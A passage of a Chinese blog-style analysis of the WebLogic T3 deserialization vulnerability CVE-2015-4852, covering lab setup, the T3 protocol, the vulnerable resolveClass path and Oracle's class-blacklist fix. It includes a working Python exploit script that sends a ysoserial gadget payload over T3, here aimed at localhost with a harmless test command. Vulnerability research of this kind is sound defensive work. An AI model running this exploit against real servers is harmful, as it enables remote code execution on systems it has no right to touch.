target="_blank">http://mirror.centos.org|baseurl=http://vault.centos.org|g</a>&#39; /etc/yum.repos.d/CentOS-*</span></code></pre></section><p><span style="font-weight: bold;font-size: inherit;">配置远程调试：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer">kdir ./middleware</span></code><code><span class="code-snippet_outer">docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/</span></code><code><span class="code-snippet_outer">docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/</span></code><code><span class="code-snippet_outer">docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib</span></code></pre></section><p><span style="font-size: 15px;">将docker中的主要lib目录拷贝出来，IDEA直接打开wlserver并将coherence_3.7与modules作为lib导入项目：</span></p><p><img data-ratio="0.358974358974359" style="width: 1326px;height: 476px;" data-type="png" data-w="1326" src="https://wechat2rss.xlab.app/img-proxy/?k=dfb1f3a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yFIAcAaibTZLXicJficUfFjxBA0UNcY4pbbwgG0pZ1iaiaceBwZt4v0eLAvw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;">同时将/wlserver/server/lib目录作为lib导入：</span></p><p><img class="rich_pages wxw-img" data-ratio="1.6163873370577282" style="width: 305px;height: 493px;" data-type="png" data-w="1074" src="https://wechat2rss.xlab.app/img-proxy/?k=94285200&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21y3o33CAgh2nyNoXqibRpPynIx4bfrQeUY60ibspibbeER8vptk7KeESJYQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;">配置remote调试端口即可：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6840148698884758" style="width: 572px;height: 392px;" data-type="png" data-w="2152" src="https://wechat2rss.xlab.app/img-proxy/?k=0ad22b35&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yYWOv2R6Ku1v4RIUQLP8djenLTb9icRn92I29krGO1FK6YeSWPicrVqGA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;">启动调试：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.5398860398860399" style="width: 2808px;height: 1516px;" data-type="png" data-w="2808" src="https://wechat2rss.xlab.app/img-proxy/?k=c69f2ced&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21y3ficnx8L8zW0DCd57VjbkVs2uv4XNTdqNCoslgrT9ziaic3ZVVZibOzcmQ%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.2725274725274725" style="width: 695px;height: 191px;" data-type="png" data-w="2730" src="https://wechat2rss.xlab.app/img-proxy/?k=18a74d4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yHSqic6ibdKP9SW6kccI7REXS4JBAiafs7cIaYgv1NKkOOX3IwUsFcIO8A%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-weight: bold;font-size: 20px;">T3协议：</span></p><p><span style="font-size: 15px;">Weblogic RMI是Weblogic对于Java RMI的实现，其主要使用Weblogic自有的T3协议和基于Corba的IIOP协议进行客户端与服务端之间的传输。</span></p><p><span style="font-size: 15px;">数据包中前四个字符描述数据包长度，而后为T3的协议头，同时每个标准反序列化头部aced0005前会新增一个fe010000字段：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.7852283770651117" style="width: 2058px;height: 1616px;" data-type="png" data-w="2058" src="https://wechat2rss.xlab.app/img-proxy/?k=676c0dd6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yt0cacOeBFPeGmInQnQUYTUrGGgc8hpKzAveOD7KibwzfyQ0sicOibrGeQ%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.36" style="width: 560px;height: 204px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=c18e728a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yoibCY0su9Lc0kFXb2vYRKRy2bmH6YexnZqoNheq686bnnm0Qt7kIzhw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;">更多内容参考：</span></p><p><a href="https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&amp;scene=21#wechat_redirect" style="color: rgb(0, 56, 132);font-size: 15px;" data-linktype="2"><span style="color: rgb(0, 56, 132);font-size: 15px;">https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704</span></a></p><p><span style="font-weight: bold;font-size: 20px;">CVE-2015-4852</span></p><p>影响范围：</p><ul yne-block-type="list" class="list-paddingleft-1"><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Oracle WebLogic Server 10.3.6.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Oracle WebLogic Server 12.2.1.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Oracle WebLogic Server 12.1.3.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Oracle WebLogic Server 12.1.2.0</p></li></ul><p><span style="font-size: 22px;font-weight: bold;">漏洞分析：</span></p><p><span style="font-size: 15px;">找了一份</span><span style="font-weight: bold;color: rgb(0, 0, 0);font-size: 15px;">sp4z</span><span style="font-size: 15px;">师傅的脚本：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer">from os import popen</span></code><code><span class="code-snippet_outer">import struct # 负责大小端的转换</span></code><code><span class="code-snippet_outer">import subprocess</span></code><code><span class="code-snippet_outer">from sys import stdout</span></code><code><span class="code-snippet_outer">import socket</span></code><code><span class="code-snippet_outer">import re</span></code><code><span class="code-snippet_outer">import binascii</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">def generatePayload(gadget,cmd):</span></code><code><span class="code-snippet_outer">    YSO_PATH = &#34;/Users/.../ysoserial-0.0.6-SNAPSHOT-BETA-all.jar&#34;</span></code><code><span class="code-snippet_outer">    popen = subprocess.Popen([&#39;java&#39;,&#39;-jar&#39;,YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)</span></code><code><span class="code-snippet_outer">    return popen.stdout.read()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">def T3Exploit(ip,port,payload):</span></code><code><span class="code-snippet_outer">    sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)</span></code><code><span class="code-snippet_outer">    sock.connect((ip,port))</span></code><code><span class="code-snippet_outer">    handshake = &#34;t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n&#34;</span></code><code><span class="code-snippet_outer">    sock.sendall(handshake.encode())</span></code><code><span class="code-snippet_outer">    data = sock.recv(1024)</span></code><code><span class="code-snippet_outer">    compile = re.compile(&#34;HELO:(.*).0.false&#34;)</span></code><code><span class="code-snippet_outer">    match = compile.findall(data.decode())</span></code><code><span class="code-snippet_outer">    if match:</span></code><code><span class="code-snippet_outer">        print(&#34;Weblogic: &#34;+&#34;&#34;.join(match))</span></code><code><span class="code-snippet_outer">    else:</span></code><code><span class="code-snippet_outer">        print(&#34;Not Weblogic&#34;)</span></code><code><span class="code-snippet_outer">        return</span></code><code><span class="code-snippet_outer">    header = binascii.a2b_hex(b&#34;00000000&#34;)</span></code><code><span class="code-snippet_outer">    t3header = binascii.a2b_hex(b&#34;016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006&#34;)</span></code><code><span class="code-snippet_outer">    desflag = binascii.a2b_hex(b&#34;fe010000&#34;)</span></code><code><span class="code-snippet_outer">    payload = header + t3header  +desflag+  payload</span></code><code><span class="code-snippet_outer">    payload = struct.pack(&#34;&gt;I&#34;,len(payload)) + payload[4:]</span></code><code><span class="code-snippet_outer">    sock.send(payload)</span></code><code><span class="code-snippet_outer">if __name__ == &#34;__main__&#34;:</span></code><code><span class="code-snippet_outer">    ip = &#34;127.0.0.1&#34;</span></code><code><span class="code-snippet_outer">    port = 7001</span></code><code><span class="code-snippet_outer">    gadget = &#34;CommonsCollections1&#34;</span></code><code><span class="code-snippet_outer">    cmd = &#34;touch /tmp/success&#34;</span></code><code><span class="code-snippet_outer">    payload = generatePayload(gadget,cmd)</span></code><code><span class="code-snippet_outer">    T3Exploit(ip,port,payload)</span></code></pre></section><p><span style="font-size: 15px;">大概利用过程如下：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7852283770651117" data-s="300,640" style="" data-type="png" data-w="2058" src="https://wechat2rss.xlab.app/img-proxy/?k=465487c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yyC8juT1qINReTUxCjDrOCZzUVxJTwzFoPez5Ficj1eNCibXR0MvsUzRA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.20210526315789473" data-s="300,640" style="" data-type="png" data-w="1900" src="https://wechat2rss.xlab.app/img-proxy/?k=04fdcd6a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yibBqW0icZbh9jmoH9zQ6p1ezLxbx69sa1lNahzgAGmtXibM12HMIo4n6g%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;">代码调试：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer">//wlserver/server/lib/wlthint3client.jar/weblogic/InboundMsgAbbrev.readobject()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException {</span></code><code><span class="code-snippet_outer">    int var2 = var1.read();</span></code><code><span class="code-snippet_outer">    switch (var2) {</span></code><code><span class="code-snippet_outer">        case 0:</span></code><code><span class="code-snippet_outer">            return (new ServerChannelInputStream(var1)).readObject();</span></code><code><span class="code-snippet_outer">        case 1:</span></code><code><span class="code-snippet_outer">            return var1.readASCII();</span></code><code><span class="code-snippet_outer">        default:</span></code><code><span class="code-snippet_outer">            throw new StreamCorruptedException(&#34;Unknown typecode: &#39;&#34; + var2 + &#34;&#39;&#34;);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="font-size: 15px;">在此处下断点，可看到已修改后的序列化数据：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6292749658002736" data-s="300,640" style="" data-type="png" data-w="2924" src="https://wechat2rss.xlab.app/img-proxy/?k=f5110fd5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yTB1JpaJqsZmLEOMNoBs5BRDrxHRye1QeJn3Hwpklzre9THdVRgfFKw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;">通过ServerChannelInputStream.resovleClass()方法加载类：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;text-align: left;white-space: pre-wrap;width: 2952px;height: 1872px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=c59dd953&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yDd9SusYZZXia8IBwviaOicfADw6ROvFCwLkGqxTbOxibDhCV494eOVicLbA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;">而ServerChannelInputStream继承自ObjectInputStream，而此处的resolveClass方法也是调用父类方法未有任何处理，故造成反序列化漏洞：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6341463414634146" data-s="300,640" style="" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=d309b2d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21ySkxPJ5hDIfMUiaAor8Q6EyZ8kENgtU0NDnibLAwNVfIH9CwLrLg6Tf4g%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;">下面就是正常的反序列化利用链流程了。</span></p><p><span style="font-size: 15px;">引用文章中的流程图：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7200956937799043" data-s="300,640" style="" data-type="png" data-w="1672" src="https://wechat2rss.xlab.app/img-proxy/?k=3544f6f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yjTUsVL6ViaV6PYPLWu9d2mF5TEwrdiaoKM1HyBauX78QtGnLB6zfJVCw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-weight: bold;font-size: 22px;">修复方案</span></p><p><span style="font-size: 15px;">Weblogic选择resolveClass中添加类黑名单用于过滤反序列化利用链中所涉及的类，在其中一个补丁包中我们可以看到这个isBlackListed方法：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6204379562043796" data-s="300,640" style="" data-type="png" data-w="2466" src="https://wechat2rss.xlab.app/img-proxy/?k=88ca59ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yWuzqicPE4Sy9PO92RcgF46UnPpNs4q302qezu8OO259pgqVMicaaPtBQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;">来自ClassFilter，过滤反序列化攻击所使用的关键类：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">package weblogic.rmi;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">import java.util.HashSet;</span></code><code><span class="code-snippet_outer">import java.util.StringTokenizer;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">public abstract class ClassFilter {</span></code><code><span class="code-snippet_outer">  static final String BLACK_LIST_PROPERTY = &#34;weblogic.rmi.blacklist&#34;;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  static final String DISABLE_DEFAULT_BLACKLIST_PROPERTY = &#34;weblogic.rmi.disabledefaultblacklist&#34;;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  static final String DISABLE_BLACK_LIST_PROPERTY = &#34;weblogic.rmi.disableblacklist&#34;;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  private static final String DEFAULT_BLACK_LIST = &#34;+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure&#34;;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  private static final HashSet&lt;String&gt; BLACK_LIST = new HashSet&lt;String&gt;();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  static {</span></code><code><span class="code-snippet_outer">    if (!isBlackListDisabled()) {</span></code><code><span class="code-snippet_outer">      if (!isDefaultBlacklistEntriesDisabled())</span></code><code><span class="code-snippet_outer">        updateBlackList(&#34;+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure&#34;); </span></code><code><span class="code-snippet_outer">      updateBlackList(System.getProperty(&#34;weblogic.rmi.blacklist&#34;, null));</span></code><code><span class="code-snippet_outer">    } </span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  private static boolean isBlackListDisabled() {</span></code><code><span class="code-snippet_outer">    return Boolean.getBoolean(&#34;weblogic.rmi.disableblacklist&#34;);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  private static boolean isDefaultBlacklistEntriesDisabled() {</span></code><code><span class="code-snippet_outer">    return Boolean.getBoolean(&#34;weblogic.rmi.disabledefaultblacklist&#34;);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  private static void updateBlackList(String blackList) {</span></code><code><span class="code-snippet_outer">    if (blackList != null) {</span></code><code><span class="code-snippet_outer">      StringTokenizer st = new StringTokenizer(blackList, &#34;,&#34;);</span></code><code><span class="code-snippet_outer">      while (st.hasMoreTokens()) {</span></code><code><span class="code-snippet_outer">        String token = st.nextToken();</span></code><code><span class="code-snippet_outer">        processToken(token);</span></code><code><span class="code-snippet_outer">      } </span></code><code><span class="code-snippet_outer">    } </span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  private static void processToken(String token) {</span></code><code><span class="code-snippet_outer">    if (token.startsWith(&#34;+&#34;)) {</span></code><code><span class="code-snippet_outer">      BLACK_LIST.add(token.substring(1));</span></code><code><span class="code-snippet_outer">    } else if (token.startsWith(&#34;-&#34;)) {</span></code><code><span class="code-snippet_outer">      BLACK_LIST.remove(token.substring(1));</span></code><code><span class="code-snippet_outer">    } else {</span></code><code><span class="code-snippet_outer">      BLACK_LIST.add(token);</span></code><code><span class="code-snippet_outer">    } </span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  public static boolean isBlackListed(String className) {</span></code><code><span class="code-snippet_outer">    String pkgName;</span></code><code><span class="code-snippet_outer">    if (className.length() &gt; 0 &amp;&amp; BLACK_LIST.contains(className))</span></code><code><span class="code-snippet_outer">      return true; </span></code><code><span class="code-snippet_outer">    try {</span></code><code><span class="code-snippet_outer">      pkgName = className.substring(0, className.lastIndexOf(&#39;.&#39;));</span></code><code><span class="code-snippet_outer">    } catch (Exception ignored) {</span></code><code><span class="code-snippet_outer">      return false;</span></code><code><span class="code-snippet_outer">    } </span></code><code><span class="code-snippet_outer">    return (pkgName.length() &gt; 0 &amp;&amp; BLACK_LIST.contains(pkgName));</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="font-size: 15px;">这个黑名单主要作用于三个类的resolveClass方法：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer">weblogic.iiop.Utils.class </span></code><code><span class="code-snippet_outer">weblogic.rjvm.MsgAbbrevInputStream.class</span></code><code><span class="code-snippet_outer">weblogic.rjvm.InboundMsgAbbrev.class</span></code></pre></section></article><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6344435418359058" data-s="300,640" style="" data-type="png" data-w="2462" src="https://wechat2rss.xlab.app/img-proxy/?k=664a308c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yibEzoqW0eGJiaoHS7UGs0icwiaicic0gFl2VcHp3O9HJJv2ic7x2EnyAp8zwg%2F640%3Fwx_fmt%3Dpng"/></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3060-1621846615933&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p5PQ-1621846617594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;前言&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kB90-1673490914896&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9etu-1673490914894&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;记录Weblogic漏洞分析过程，参考了很多师傅的分析文章，链接放在后记中。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oFyQ-1673490306271&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SWH1-1673490306270&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;正文&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NqCj-1673490309103&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ipCq-1673490309101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;环境搭建&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1TMC-1673490962449&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kyq5-1673490962448&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;搭建环境参考：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AY3t-1673491068908&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oYuE-1673491068907&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;k0LB-1673491048381&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/QAX-A-Team/WeblogicEnvironment&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;B6nn-1673491048382&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://github.com/QAX-A-Team/WeblogicEnvironment&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xAWq-1673491048394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MN0h-1673491025538&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e0Ks-1673491025537&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;将对应版本的JDK与Weblogic分别放入/jdks和/weblogics目录中：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0ec7-1673491193208&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4894/WEBRESOURCEf4e134824542b9848635f4816e821f7e&#34;,&#34;width&#34;:535,&#34;height&#34;:251},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;64Fk-1673491074875&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TyTf-1673491074874&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle官网即可下载：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;31K6-1673491372095&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Efh2-1673491372094&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;G4Lb-1673491398542&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.oracle.com/java/technologies/downloads/archive/&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tuui-1673491398541&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://www.oracle.com/java/technologies/downloads/archive/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;21j4-1673491398543&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b1Qb-1673491377746&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lWtN-1673491377744&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;Gdxb-1673491405351&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yUOm-1673491405350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p069-1673491405353&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QHi1-1673491372913&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;